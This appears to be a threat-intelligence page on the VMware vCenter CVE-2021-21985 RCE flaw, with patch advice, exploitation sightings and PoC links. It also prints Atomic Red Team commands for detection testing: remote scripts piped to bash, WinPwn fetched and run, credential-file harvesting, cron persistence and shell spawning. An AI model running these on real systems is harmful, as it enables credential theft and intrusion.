CVE-2021-21985

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 26/05 Upd 21/10

Overview

This vulnerability is a remote code execution flaw caused by improper input validation within the Virtual SAN Health Check plug-in of the vSphere Client (HTML5). The root cause lies in the failure to sanitize user-supplied data processed by the plug-in, which is enabled by default in VMware vCenter Server. The affected component is the Virtual SAN Health Check plug-in accessible via the vSphere Client interface on port 443.

Vulnerability Description

The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server. A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server.

Impact

An unauthenticated attacker with network access to the vCenter Server's port 443 can execute arbitrary commands with unrestricted privileges on the host operating system. This enables full system compromise, including potential data theft, service disruption, or lateral movement within the network. No user interaction or credentials are required, increasing the ease of exploitation and severity of impact on business operations.

Solution

Apply the patches provided by VMware as outlined in advisory VMSA-2021-0010, which addresses this vulnerability in VMware vCenter Server 6.5 and VMware Cloud Foundation. Detailed patching instructions and updates are available at https://www.vmware.com/security/advisories/VMSA-2021-0010.html. VMware recommends updating affected systems to the fixed versions and disabling the Virtual SAN Health Check plug-in if immediate patching is not feasible.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the vSphere Client (HTML5) arises from inadequate input validation within the Virtual SAN Health Check plug-in, which is enabled by default in the vCenter Server. This flaw allows a malicious actor with network access to port 443 to execute arbitrary commands on the underlying operating system with unrestricted privileges. The lack of proper input validation means that an attacker can manipulate the input to the plug-in, potentially leading to remote code execution. This vulnerability is particularly critical given the elevated privileges it grants, which can compromise the entire vCenter Server environment and the virtual machines managed by it.

Attack vectors for this vulnerability are primarily network-based, as an attacker only needs access to the vCenter Server's management interface. Exploitation can occur through crafted requests sent to the vulnerable plug-in, allowing the attacker to execute arbitrary code. Scenarios may include an attacker targeting a poorly secured network where vCenter Server is exposed to the internet or an internal network with insufficient segmentation. Once exploited, the attacker could install malware, exfiltrate sensitive data, or disrupt operations by altering or deleting virtual machines, leading to significant operational disruptions.

The real-world impact of this vulnerability is substantial, particularly for organizations relying on VMware's virtualization solutions. The potential for remote code execution means that an attacker could gain full control over the vCenter Server, leading to unauthorized access to all virtual machines and their data. This could result in data breaches, loss of critical business operations, and damage to the organization's reputation. The financial implications could be severe, including costs associated with incident response, recovery, and potential regulatory penalties if sensitive data is compromised.

Detection of this vulnerability can be challenging due to its nature, as it may not generate obvious alerts or logs during exploitation. Organizations should implement network monitoring to detect unusual traffic patterns directed at the vCenter Server, particularly on port 443. Regular vulnerability scanning and penetration testing can also help identify potential weaknesses in the environment. Additionally, maintaining an up-to-date inventory of software and applying security patches promptly is crucial to mitigating risks associated with known vulnerabilities.

To mitigate the risks posed by this vulnerability, organizations should consider several strategies. First, it is essential to disable the Virtual SAN Health Check plug-in if it is not in use, thereby eliminating the attack surface. Implementing strict network segmentation can also help limit access to the vCenter Server, ensuring that only authorized personnel can interact with it. Furthermore, organizations should adopt a robust patch management policy to ensure that all software components are regularly updated to address known vulnerabilities. By combining these strategies, organizations can significantly reduce their risk exposure and enhance their overall security posture against potential exploitation.




CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2021-21985, reflected by a modest uptick in telemetry signals. This subtle rise indicates continued interest from threat actors, particularly those linked to ransomware operations such as the Akira group, underscoring the vulnerability’s persistent attractiveness as an initial access vector. While the overall exploit trend remains stable without rapid escalation, the emergence of additional proof-of-concept exploits on public platforms broadens the potential for opportunistic attackers to leverage this flaw. Consequently, the risk profile for organizations running affected VMware vCenter Server instances remains elevated, with adversaries maintaining capabilities to execute remote code with high privileges. Defenders should remain vigilant as this vulnerability continues to be a viable target within the current threat landscape.



Update 2 — July 03, 2026

CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2021-21985, reflecting a modest uptick in adversary activity leveraging this critical VMware vCenter Server vulnerability. This change coincides with the continued public availability and diversification of proof-of-concept exploits, which lowers the technical barrier for threat actors to conduct remote code execution attacks. Although the overall exploitation trend remains stable without rapid escalation, the incremental rise in detections signals persistent interest from ransomware-associated groups such as Akira, underscoring the vulnerability’s ongoing appeal as an initial access vector. This evolving landscape reinforces the sustained risk posture for organizations running affected vCenter Server instances, as attackers maintain and potentially expand their operational capabilities to exploit this flaw with high privileges.

Affected Products (53)

Vendor Product Version CPE
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:-:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:a:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:b:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:c:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:d:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:e:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:f:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update1:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update1b:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update1c:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update1d:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update1e:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update1g:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update2:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update2b:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update2c:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update2d:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update2g:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update3:*:*:*:*:*:*
vmware Vmware Vcenter Server 6.5 cpe:2.3:a:vmware:vcenter_server:6.5:update3d:*:*:*:*:*:*
+33 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
VMware vCenter Server Virtual SAN Health Check Plugin RCE
exploits/linux/http/vmware_vcenter_vsan_health_rce
Ricter Z, wvu Unknown unix, linux View

GitHub PoCs (10)

Repository Author Stars Forks Date Link
alt3kx/CVE-2021-21985_PoC
alt3kx 213 49 2021-05-29 View
xnianq/cve-2021-21985_exp
cve-2021-21985 exploit
xnianq 115 36 2021-06-03 View
testanull/Project_CVE-2021-21985_PoC
testanull 29 5 2021-06-05 View
daedalus/CVE-2021-21985
CVE-2021-21985 vmware 6.7-9.8 RCE
daedalus 2 4 2021-06-04 View
sknux/CVE-2021-21985_PoC
VMWARE VCENTER SERVER VIRTUAL SAN HEALTH CHECK PLUG-IN RCE (CVE-2021-21985)
sknux 3 1 2021-11-09 View
onSec-fr/CVE-2021-21985-Checker
CVE-2021-21985 Checker.
onSec-fr 2 1 2021-06-01 View
bigbroke/CVE-2021-21985
Multiple vulnerabilities in the vSphere Client (HTML5) were privately reported to VMware. Updates and workarounds are av...
bigbroke 1 0 2021-05-27 View
haidv35/CVE-2021-21985
haidv35 1 0 2021-07-08 View
mauricelambert/CVE-2021-21985
This script check the CVE-2021-21985 vulnerability and patch on vCenter Server.
mauricelambert 0 1 2021-06-01 View
aristosMiliaressis/CVE-2021-21985
cve-2021-21985 powershell poc
aristosMiliaressis 0 0 2021-07-11 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

19 events
2026-07-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-03-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2021-05-27
PoC Published (10 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2021-05-25
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
90% rce
OS Command Injection
80% command_injection
Code Injection
72% code_injection
Improper Input Validation
65% input_validation
Server-Side Request Forgery
63% ssrf

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-664 Server Side Request Forgery
44%
High High

Red Team Playbook

47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-21985
vmware.com
GitHub CVE x_refsource_MISC
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/162812/VMware-Security-Advisory-2021-0010.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/163487/VMware-vCenter-Server-Virtual-SAN-Health-Check-Remote-Code-Execution.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-21985